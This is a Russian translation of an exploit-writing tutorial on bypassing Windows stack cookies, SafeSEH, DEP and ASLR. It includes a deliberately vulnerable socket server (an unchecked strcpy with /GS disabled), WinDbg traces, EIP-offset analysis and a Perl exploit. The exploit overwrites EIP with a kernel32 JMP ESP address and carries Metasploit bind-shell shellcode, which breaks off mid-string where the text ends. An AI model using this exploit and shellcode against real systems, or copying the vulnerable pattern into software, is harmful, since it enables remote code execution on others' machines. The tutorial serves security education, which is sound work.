R0 CREW

Exploit Writing Tutorial Part 6: Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR (Перевод: Prosper-H)

Перейти к содержанию

Введение

Во всех предыдущих уроках, мы рассматривали создание эксплойтов, которые работали бы под операционными системами Windows XP / 2003.

Успех всех этих эксплойтов (в независимости от того, базируются ли они на прямой перезаписи адреса возврата или перезаписи структуры обработчика исключений) основан на том факте, что для их работы требуется найти надежный адрес (возврата или адрес, указывающий на последовательность инструкций pop/pop/ret), который застивит приложение перейти на ваш шеллкод. Во всех наших случаях, мы смогли найти более или менее надежные адреса либо в одной из DLL-библиотек исследуемого приложения, либо в одной из DLL-библиотек ОС. Даже после перезагрузки, найденый адрес оставался прежним, что давало возможность эксплойту надежно работать.

К счастью для несметного количества конечных пользователей Windows, в операционные системы Windows было встроено множество механизмов защиты, препятствующих этому:

  • Stack cookies (/GS параметр компилятора)
  • Safeseh (/SAFESEH параметр линкера)
  • Data Execution Prevention (DEP) (программная и аппаратная поддержка)
  • Address Space Layout Randomization (ASLR)

Механизм защиты: Stack cookie /GS

Параметр /GS является опцией компилятора, который добавляет некоторый код в пролог и эпилог кода функций, который предназначен для того, чтобы предотвратить типичные атаки переполнения буфера.

В момент, когда запускается приложение, происходит вычисление основной cookie (размером 4 байт (DWORD), с типом unsigned int), после чего полученное значение (которое является псевдослучайным числом) сохраняется в секции .data, загруженного модуля. В дальнейшем, во время вызова защищенной функции, в её прологе, происходик копирование сохранённой cookie в стэк, сразу после сохранения EBP и EIP.

[buffer][cookie][saved EBP][saved EIP]

Затем в эпилоге функции, происходит сравнение основной cookie с сохраненной в стэке. Если они отличаются друг от друга, то менеджер cookie приходит к выводу, что произошло повреждение стэка и программа завершает свое выполнение.

Для того чтобы минимизировать влияние на производительность дополнительных строк кода, компилятор добавляет проверку cookie только в те функции, которые содержат строковые буферы или выделяют память в стэке с использованием _alloca. Кроме того, защита работает только тогда, когда буфер состоит из 5 и более байт.

В типичном переполнении буфера, стэк подвергается атаке, целью которой является перезапись сохраненного значения EIP при помощи контролируемых входящих данных. Но перед тем, как ваши данные перезапишут сохраненный EIP, они так же перезапишут cookie, делая экплойт безполезным (хотя, он все еще может привести к DoS-атаке). Эпилог функции заметит, что cookie была изменена, что приведет к завершению приложения.

[buffer][cookie][saved EBP][saved EIP]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
         ^
         |

Второй важным механизмом защиты /GS является переупорядочение переменных. Для того, чтобы предотвратить атаки на перезапись локальных переменных или аргументов функций, компилятор перестраивает стековый фрейм и помещает строковые буферы по более высоким адресам чем другие переменные. Таким образом, когда происходит переполнение буфера, оно не сможет перезаписать никакие другие локальные переменные.

Cookie, так же часто упоминаются как «canaries» (канарейки). Для более подробного знакомства с темой смотрите следующие статьи: http://en.wikipedia.org/wiki/Buffer_overflow_protection, http://blogs.technet.com/srd/archive/2009/03/16/gs-cookie-protection-effectiveness-and-limitations.aspx и http://msdn.microsoft.com/en-us/library/aa290051(VS.71).aspx

Метод обхода: Stack cookie /GS

Наиболее простой способ обхода, механизма защиты стека от переполнения, требует, чтобы вы получили, вычислили или предугадали значение cookie (таким образом, вы сможете перезаписать cookie тем же значением, которое хранится в вашем буфере). Иногда (очень редко) cookie являются статическими … Но даже если это так, cookie может содержать плохие символы и вы не сможете использовать её значение.

Дэвид Личфилд еще в 2003 году написал статью о том, как можно обойти защиту стека, используя другие методы, которые не требует вычисления/предугадывания cookie. Наиболее же превосходная работа в этой области была сделана Алексом Соритовым, Марком Доудом и Мэттом Миллером.

В любом случае, Дэвид описал, что если перезаписанные cookie не совпадут с оригинальными, код будет искать пользовательский обработчик исключений. Если он не был установлен разработчиком, в работу включится обработчик исключений OC, который завершит работу приложения. Если хакер сможет перезаписать запись SEH-структуры (next SHE + Указатель на SEH-обработчик), «И» сможет вызвать исключение прежде чем, cookie будут проверены, то переполнение буфера может быть выполнено (SEH-ориентированный эксплойт), несмотря на наличие cookie.

В итоге, одним из наиболее важных ограничений параметра GS является то, что он не защищает записи обработчиков исключений. В данной точке, приложению нужно полагаться исключительно на механизмы защиты SEH (такие как SafeSEH, etc), чтобы справиться с подобными атаками, которые нацелены на перезапись SEH-записей.

В 2003 сервере (и поздних версиях ОС XP/Vista/7/8/…) структурные исключения были изменены, что усложнило использование этих сценариев атаки в более поздних версиях ОС. Сейчас обработчики исключений регистрируются в Load Configuration Directory. Так же, перед своим исполнением, их адреса сверяются со списком зарегистрированных обработчиков. То как это обойти мы обсудим позже в этом уроке.

Обход используя Exception Handling

И так, мы можем обойти защиту стека путем вызова исключение до того, как cookie будут проверены в эпилоге функции (или мы можем попытаться перезаписать другие данные (параметры, которые были помещены в стек уязвимой функцией), на которые ссылается функция до того, как будет осуществлена проверка cookie), и затем, возможно, иметь дело с механизмами защиты SEH, если они существуют… Конечно, второй метод будет работать только тогда, когда код, фактически, ссылается на эти данные. Если это так, вы можете попытаться злоупотребить этим, произведя запись за концом стека.

[buffer][cookie][EH record][saved ebp][saved eip][arguments ]

overwrite - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >

Ключевым в этом сценарии является то, что вам нужно произвести перезапись стека достаточно далеко, и то, что у приложения существует конкретное, зарегистрированное исключение (которое будет перезаписано). Если вы контролируете адрес обработчика исключений (в структуре Exception_Registration), то вы можете попытаться перезаписать указатель адресом, который находится вне адресного пространства загруженного модуля (но, который, в любом случае, должен быть доступен в памяти, например, в модулях загруженных ОС и т.п). Большинство из модулей, в более новых версиях ОС Windows, скомпилированны с поддержкой SafeSEH, таким образом, это больше не работает.

Как было объяснено в Уроке 3, контролируемый указатель должен быть перезаписан адресом последовательности инструкций «POP/POP/RET» (благодаря чему, поток исполнения перейдет на nSEH, где мы в свою очередь, можем разместить код, который сделает «short jump» для перехода на наш шеллкод). В качестве альтернативы (или если вы не смогли найти последовательность инструкций «POP/POP/RET», в адресном пространстве модуля принадлежащего приложению) можно посмотреть на ESP/EBP, чтобы найти смещение от этих регистров до места размещения nSEH, после чего найти адрес, который бы указывал на одну из следующих инструкции:

  • call dword ptr [esp+nn]
  • call dword ptr [ebp+nn]
  • jmp dword ptr [esp+nn]
  • jmp dword ptr[ebp+nn]

Где nn – это смещение от регистра до места размещения nSEH. И хотя, скорее всего, легче искать комбинацию «POP/POP/RET», альтернативный метод работает так же хорошо. Плагин pvefindaddr для Immunity Debugger может помочь вам в поиске нужных инструкций (!pvefindaddr jseh или !pvefindaddr jseh all). Кроме того, вы также можете использовать указатели на такие инструкции, как «ADD ESP,8 + RET». И снова, !pvefindaddr jseh (или !pvefindaddr jseh all) помогут вам с этим (данная опция добавлена в версию v1.17 плагина pvefindaddr).

Обход основанный на изменении cookie в стеке и в секции .data

Другой метод обхода защиты стека основанного на cookie состоит в том, чтобы изменить значение этих самых cookie в секции .data модуля (которая доступна для записи, иначе приложение не смогло бы вычислить новую cookie и сохранить её во время выполнения), и заменить cookie в стеке новым, измененным значением. Этот метод возможен только в том случае, когда вы имеете возможность писать что-либо в любое место. Если быть более точным, то нужно иметь возможность записать произвольное, 4 байтовое значение. Осуществить это можно с помощью инструкции указанной ниже:

mov dword ptr[reg1], reg2

Очевидно, что для того чтобы заставить это работать, нужно иметь возможность контролировать содержимое обоих регистров reg1 и reg2. При этом reg1 должен содержать адрес в памяти, по которому вы хотите записать требуемое значение, а reg2 должен содержать это самое значение.

Обход потому что не все буферы защищены

Другая возможность для атаки появляется тогда, когда уязвимый код не содержит строковый буфер (потому что такой стек не будет содержать cookie). Это также справедливо для массивов целых чисел или указателей.

[buffer][cookie][EH record][saved ebp][saved eip][arguments ]

Пример: Если «аргументы» не содержат указатель на строковый буфер, то вы можете перезаписать эти аргументы и воспользоваться тем фактом, что функция не защищена при помощи GS.

Обход основанный на перезаписи данных стека в функциях находящихся выше стека

Когда указатели на объекты или структуры передаются в функции, и эти объекты или структуры размещены в стеке вызывавших их функций (родительских функций), то это может привести к обходу GS-защиты (перезаписи объекта и указателя на vtable. Если вы замените указатель на vtable, фейковым указателем на vtable, то сможете перенаправить вызов виртуальной функции и выполнить зловредный код).

Обход потому что вы можете предугадать/вычислить cookie

Reducing the Effective Entropy of GS Cookies

Обход потому что cookie статические

В конечном счёте, если значение cookie остается тем же самым/статическим каждый раз, когда вы запускаете программу, то вы можете просто положить это значение в стек во время перезаписи.

Демонстрация отладки механизма защиты стека основанного на cookie

Чтобы продемонстрировать поведение работы cookie, воспользуемся простым куском кода, который можно найти тут (который использовался в Уроке 4).

Этот код содержит уязвимую функцию pr(), которая вызовет переполнение буфера, в случае, если ей будет передано свыше 500-та байт.

Откройте Visual Studio C++ 2008 (Express версию можно загрузить тут) и создайте новое консольное приложение.

Я немного модифицировал оригинальный код, чтобы он мог быть скомпилирован под VS 2008.

// vulnerable server.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsock.h"
#include "windows.h"

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
   char buf[500]=" ";
   strcpy(buf,str);
}
void sError(char *str)
{
   printf("Error %s",str);
   WSACleanup();
}

int _tmain(int argc, _TCHAR* argv[])
{
WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]=" ";
char buf[2000]=" ";

u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
   sError("Failed socket()");
   return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
   sError("Failed bind()");
   WSACleanup();
   return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   sError("Failed listen()");
   WSACleanup();
   return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
   sError("Failed accept()");
   WSACleanup();
   return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
   //receive the data that is being sent by the client max limit to 5000 bytes.
   bytesRecv = recv( clientSocket, Message, 5000, 0 );

   if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
   {
      printf( "\nConnection Closed.\n");
      break;
   }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}

Отредактируйте свойства проекта «vulnerable server»

Перейдите в «C/C++ => Code Generation» и установите «Buffer Security Check» в «No».

Скомпилируйте код в отладочном режиме (debug mode).

Откройте «vulnerable server.exe» в вашем любимом отладчике и посмотрите на код функции pr():

(8c0.9c8): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:001> uf pr
*** WARNING: Unable to verify checksum for C:\Documents and Settings\peter\My Documents\Visual Studio 2008\Projects\vulnerable server\Debug\vulnerable server.exe
vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable server.cpp @ 17]:
   17 00411430 55              push    ebp
   17 00411431 8bec            mov     ebp,esp
   17 00411433 81ecbc020000    sub     esp,2BCh
   17 00411439 53              push    ebx
   17 0041143a 56              push    esi
   17 0041143b 57              push    edi
   17 0041143c 8dbd44fdffff    lea     edi,[ebp-2BCh]
   17 00411442 b9af000000      mov     ecx,0AFh
   17 00411447 b8cccccccc      mov     eax,0CCCCCCCCh
   17 0041144c f3ab            rep stos dword ptr es:[edi]
   18 0041144e a03c574100      mov     al,byte ptr [vulnerable_server!`string' (0041573c)]
   18 00411453 888508feffff    mov     byte ptr [ebp-1F8h],al
   18 00411459 68f3010000      push    1F3h
   18 0041145e 6a00            push    0
   18 00411460 8d8509feffff    lea     eax,[ebp-1F7h]
   18 00411466 50              push    eax
   18 00411467 e81bfcffff      call    vulnerable_server!ILT+130(_memset) (00411087)
   18 0041146c 83c40c          add     esp,0Ch
   19 0041146f 8b4508          mov     eax,dword ptr [ebp+8]
   19 00411472 50              push    eax
   19 00411473 8d8d08feffff    lea     ecx,[ebp-1F8h]
   19 00411479 51              push    ecx
   19 0041147a e83ffcffff      call    vulnerable_server!ILT+185(_strcpy) (004110be)
   19 0041147f 83c408          add     esp,8
   20 00411482 52              push    edx
   20 00411483 8bcd            mov     ecx,ebp
   20 00411485 50              push    eax
   20 00411486 8d15a8144100    lea     edx,[vulnerable_server!pr+0x78 (004114a8)]
   20 0041148c e80ffcffff      call    vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)
   20 00411491 58              pop     eax
   20 00411492 5a              pop     edx
   20 00411493 5f              pop     edi
   20 00411494 5e              pop     esi
   20 00411495 5b              pop     ebx
   20 00411496 81c4bc020000    add     esp,2BCh
   20 0041149c 3bec            cmp     ebp,esp
   20 0041149e e8cffcffff      call    vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)
   20 004114a3 8be5            mov     esp,ebp
   20 004114a5 5d              pop     ebp
   20 004114a6 c3              ret

Как вы можете видеть, пролог функции вообще не содержит никаких ссылок на security cookie.

Теперь пересоберите исполняемый файл с включенным флагом /GS (установите «Buffer Security Check» в «On») и снова посмотрите на функцию pr():

(738.828): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffdc000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> uf pr
*** WARNING: Unable to verify checksum for vulnerable server.exe
vulnerable_server!pr [c:\documents and settings\peter\my documents\visual studio 2008\projects\vulnerable server\vulnerable server\vulnerable server.cpp @ 17]:
   17 00411430 55              push    ebp
   17 00411431 8bec            mov     ebp,esp
   17 00411433 81ecc0020000    sub     esp,2C0h
   17 00411439 53              push    ebx
   17 0041143a 56              push    esi
   17 0041143b 57              push    edi
   17 0041143c 8dbd40fdffff    lea     edi,[ebp-2C0h]
   17 00411442 b9b0000000      mov     ecx,0B0h
   17 00411447 b8cccccccc      mov     eax,0CCCCCCCCh
[B][COLOR="red"]   17 0041144c f3ab            rep stos dword ptr es:[edi]
   17 0041144e a100704100      mov     eax,dword ptr [vulnerable_server!__security_cookie (00417000)]
   17 00411453 33c5            xor     eax,ebp
   17 00411455 8945fc          mov     dword ptr [ebp-4],eax[/COLOR][/B]
   18 00411458 a03c574100      mov     al,byte ptr [vulnerable_server!`string' (0041573c)]
   18 0041145d 888504feffff    mov     byte ptr [ebp-1FCh],al
   18 00411463 68f3010000      push    1F3h
   18 00411468 6a00            push    0
   18 0041146a 8d8505feffff    lea     eax,[ebp-1FBh]
   18 00411470 50              push    eax
   18 00411471 e811fcffff      call    vulnerable_server!ILT+130(_memset) (00411087)
   18 00411476 83c40c          add     esp,0Ch
   19 00411479 8b4508          mov     eax,dword ptr [ebp+8]
   19 0041147c 50              push    eax
   19 0041147d 8d8d04feffff    lea     ecx,[ebp-1FCh]
   19 00411483 51              push    ecx
   19 00411484 e835fcffff      call    vulnerable_server!ILT+185(_strcpy) (004110be)
   19 00411489 83c408          add     esp,8
   20 0041148c 52              push    edx
   20 0041148d 8bcd            mov     ecx,ebp
   20 0041148f 50              push    eax
   20 00411490 8d15bc144100    lea     edx,[vulnerable_server!pr+0x8c (004114bc)]
   20 00411496 e805fcffff      call    vulnerable_server!ILT+155(_RTC_CheckStackVars (004110a0)
   20 0041149b 58              pop     eax
   20 0041149c 5a              pop     edx
   20 0041149d 5f              pop     edi
   20 0041149e 5e              pop     esi
   20 0041149f 5b              pop     ebx
[B][COLOR="red"]   20 004114a0 8b4dfc          mov     ecx,dword ptr [ebp-4]
   20 004114a3 33cd            xor     ecx,ebp
   20 004114a5 e879fbffff      call    vulnerable_server!ILT+30(__security_check_cookie (00411023)[/COLOR][/B]
   20 004114aa 81c4c0020000    add     esp,2C0h
   20 004114b0 3bec            cmp     ebp,esp
   20 004114b2 e8bbfcffff      call    vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172)
   20 004114b7 8be5            mov     esp,ebp
   20 004114b9 5d              pop     ebp
   20 004114ba c3              ret

Теперь в прологе функции происходят следующие вещи:

  • sub esp,2c0h : выделяется 704 байта
  • mov eax,dword ptr[vulnerable_server!__security_cookie (00417000)] : извлекается копия cookie
  • xor eax,ebp : cookie ксорится (xor) с EBP
  • После чего, cookie сохраняется в стек, прямо под адресом возврата

В эпилоге функции, происходит следующее:

  • mov ecx,dword ptr [ebp-4] : из стека извлекается копия cookie
  • xor ecx,ebp : снова выполняется xor
  • call vulnerable_server!ITL+30(__security_check_cookie (00411023) : переход к процедуре которая осуществляет проверку cookie

Короче говоря: security cookie добавляются в стек и сравниваются перед выходом из функции.

Когда вы попытаетесь переполнить этот буфер, послав свыше 500-та байт в порт 200, приложение завершит свою работу (в отладчике, приложение перейдет на брейкпойнт – неинициализированные переменные, которые заполняются опкодом 0xCC, во время выполнения программы, когда та скомпилирована в VS 2008, из-за RTC), а ESP будет содержать следующее:

(a38.444): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=0041149b ecx=bb522d78 edx=0012cb9b esi=102ce7b0 edi=00000002
eip=7c90120e esp=0012cbbc ebp=0012da08 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> d esp
0012cbbc  06 24 41 00 00 00 00 00-01 5c 41 00 2c da 12 00  .$A......\A.,...
0012cbcc  2c da 12 00 00 00 00 00-dc cb 12 00 b0 e7 2c 10  ,.............,.
0012cbdc  53 00 74 00 61 00 63 00-6b 00 20 00 61 00 72 00  S.t.a.c.k. .a.r.
0012cbec  6f 00 75 00 6e 00 64 00-20 00 74 00 68 00 65 00  o.u.n.d. .t.h.e.
0012cbfc  20 00 76 00 61 00 72 00-69 00 61 00 62 00 6c 00   .v.a.r.i.a.b.l.
0012cc0c  65 00 20 00 27 00 62 00-75 00 66 00 27 00 20 00  e. .'.b.u.f.'. .
0012cc1c  77 00 61 00 73 00 20 00-63 00 6f 00 72 00 72 00  w.a.s. .c.o.r.r.
0012cc2c  75 00 70 00 74 00 65 00-64 00 2e 00 00 00 00 00  u.p.t.e.d.......

Текст «Stack around the variable ‘buf’ was corrupted» содержащийся в ESP является результатом проверки RTC (Run Time Check), которая включена в VS 2008. Отключение этой проверки (в Visual Studio) может быть выполнено либо путем отключения оптимизации, либо путем установки параметра /RTCu. Конечно, в реальной жизни, вы не станете этого делать, так как она эффективно противостоит повреждениям стека.

Когда вы скомпилируете оригинальный код при помощи lcc-win32 (который не встраивает никакой защиты, оставляя исполняемый файл уязвимым) и откроете его в WinDbg (не выполняя бинарный файл), а затем посмотрите на нашу функцию, то увидите следующее:

(82c.af4): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffd7000 ecx=00000005 edx=00000020 esi=00241f48 edi=00241eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> [B][COLOR="red"]uf pr[/COLOR][/B]
*** WARNING: Unable to verify checksum for c:\sploits\vulnsrv\\vulnsrv.exe
[B][COLOR="red"]vulnsrv!pr[/COLOR][/B]:
004012d4 55              push    ebp
004012d5 89e5            mov     ebp,esp
004012d7 81ecf4010000    sub     esp,1F4h
004012dd b97d000000      mov     ecx,7Dh

vulnsrv!pr+0xe:
004012e2 49              dec     ecx
004012e3 c7048c5a5afaff  mov     dword ptr [esp+ecx*4],0FFFA5A5Ah
004012ea 75f6            jne     vulnsrv!pr+0xe (004012e2)

vulnsrv!pr+0x18:
004012ec 56              push    esi
004012ed 57              push    edi
004012ee 8dbd0cfeffff    lea     edi,[ebp-1F4h]
004012f4 8d35a0a04000    lea     esi,[vulnsrv!main+0x8d6e (0040a0a0)]
004012fa b9f4010000      mov     ecx,1F4h
004012ff f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
00401301 ff7508          push    dword ptr [ebp+8]
00401304 8dbd0cfeffff    lea     edi,[ebp-1F4h]
0040130a 57              push    edi
0040130b e841300000      call    vulnsrv!main+0x301f (00404351)
00401310 83c408          add     esp,8
00401313 5f              pop     edi
00401314 5e              pop     esi
00401315 c9              leave
00401316 c3              ret

Теперь если вы пошлете 1000-че символьный Metasploit паттерн, то сервер (не скомпилированный с поддержкой /GS) умрет, показав следующее:

(c60.cb0): Access violation - code c0000005 (!!! second chance !!!)
eax=0012e656 ebx=00000000 ecx=0012e44e edx=0012e600 esi=00000001 edi=00403388
eip=[B][COLOR="red"]72413971[/COLOR][/B] esp=0012e264 ebp=41387141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
[B][COLOR="red"]72413971 ??              ???[/COLOR][/B]
0:000> [B][COLOR="red"]!load byakugan[/COLOR][/B]
[Byakugan] Successfully loaded!
0:000> [B][COLOR="red"]!pattern_offset 1000[/COLOR][/B]
[Byakugan] Control of ebp at offset 504.
[Byakugan] Control of eip at offset 508.

Из вывода видно, что мы контролируем EIP по смещению в 508 байт, а ESP указывает на часть нашего буфера:

0:000> d esp
0012e264  30 41 72 31 41 72 32 41-72 33 41 72 34 41 72 35  0Ar1Ar2Ar3Ar4Ar5
0012e274  41 72 36 41 72 37 41 72-38 41 72 39 41 73 30 41  Ar6Ar7Ar8Ar9As0A
0012e284  73 31 41 73 32 41 73 33-41 73 34 41 73 35 41 73  s1As2As3As4As5As
0012e294  36 41 73 37 41 73 38 41-73 39 41 74 30 41 74 31  6As7As8As9At0At1
0012e2a4  41 74 32 41 74 33 41 74-34 41 74 35 41 74 36 41  At2At3At4At5At6A
0012e2b4  74 37 41 74 38 41 74 39-41 75 30 41 75 31 41 75  t7At8At9Au0Au1Au
0012e2c4  32 41 75 33 41 75 34 41-75 35 41 75 36 41 75 37  2Au3Au4Au5Au6Au7
0012e2d4  41 75 38 41 75 39 41 76-30 41 76 31 41 76 32 41  Au8Au9Av0Av1Av2A
0:000> d
0012e2e4  76 33 41 76 34 41 76 35-41 76 36 41 76 37 41 76  v3Av4Av5Av6Av7Av
0012e2f4  38 41 76 39 41 77 30 41-77 31 41 77 32 41 77 33  8Av9Aw0Aw1Aw2Aw3
0012e304  41 77 34 41 77 35 41 77-36 41 77 37 41 77 38 41  Aw4Aw5Aw6Aw7Aw8A
0012e314  77 39 41 78 30 41 78 31-41 78 32 41 78 33 41 78  w9Ax0Ax1Ax2Ax3Ax
0012e324  34 41 78 35 41 78 36 41-78 37 41 78 38 41 78 39  4Ax5Ax6Ax7Ax8Ax9
0012e334  41 79 30 41 79 31 41 79-32 41 79 33 41 79 34 41  Ay0Ay1Ay2Ay3Ay4A
0012e344  79 35 41 79 36 41 79 37-41 79 38 41 79 39 41 7a  y5Ay6Ay7Ay8Ay9Az
0012e354  30 41 7a 31 41 7a 32 41-7a 33 41 7a 34 41 7a 35  0Az1Az2Az3Az4Az5
0:000> d
0012e364  41 7a 36 41 7a 37 41 7a-38 41 7a 39 42 61 30 42  Az6Az7Az8Az9Ba0B
0012e374  61 31 42 61 32 42 61 33-42 61 34 42 61 35 42 61  a1Ba2Ba3Ba4Ba5Ba
0012e384  36 42 61 37 42 61 38 42-61 39 42 62 30 42 62 31  6Ba7Ba8Ba9Bb0Bb1
0012e394  42 62 32 42 62 33 42 62-34 42 62 35 42 62 36 42  Bb2Bb3Bb4Bb5Bb6B
0012e3a4  62 37 42 62 38 42 62 39-42 63 30 42 63 31 42 63  b7Bb8Bb9Bc0Bc1Bc
0012e3b4  32 42 63 33 42 63 34 42-63 35 42 63 36 42 63 37  2Bc3Bc4Bc5Bc6Bc7
0012e3c4  42 63 38 42 63 39 42 64-30 42 64 31 42 64 32 42  Bc8Bc9Bd0Bd1Bd2B
0012e3d4  64 33 42 64 34 42 64 35-42 64 36 42 64 37 42 64  d3Bd4Bd5Bd6Bd7Bd

ESP указывает на буфер по смещению в 512 байт.

$ ./pattern_offset.rb 0Ar1 1000
512

Ниже представлен наколеночный эксплойт (с «JMP ESP» из kernel32.dll: 0x7C874413)

#
# Writing buffer overflows - Tutorial
# Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
# Exploit for vulnsrv.c
#
#
print " --------------------------------------\n";
print "     Writing Buffer Overflows\n";
print "       Peter Van Eeckhoutte\n";
print "     http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print "    Exploit for vulnsrv.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 508;

#jmp esp (kernel32.dll)
my $eipoverwrite = pack('V',0x7C874413);

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
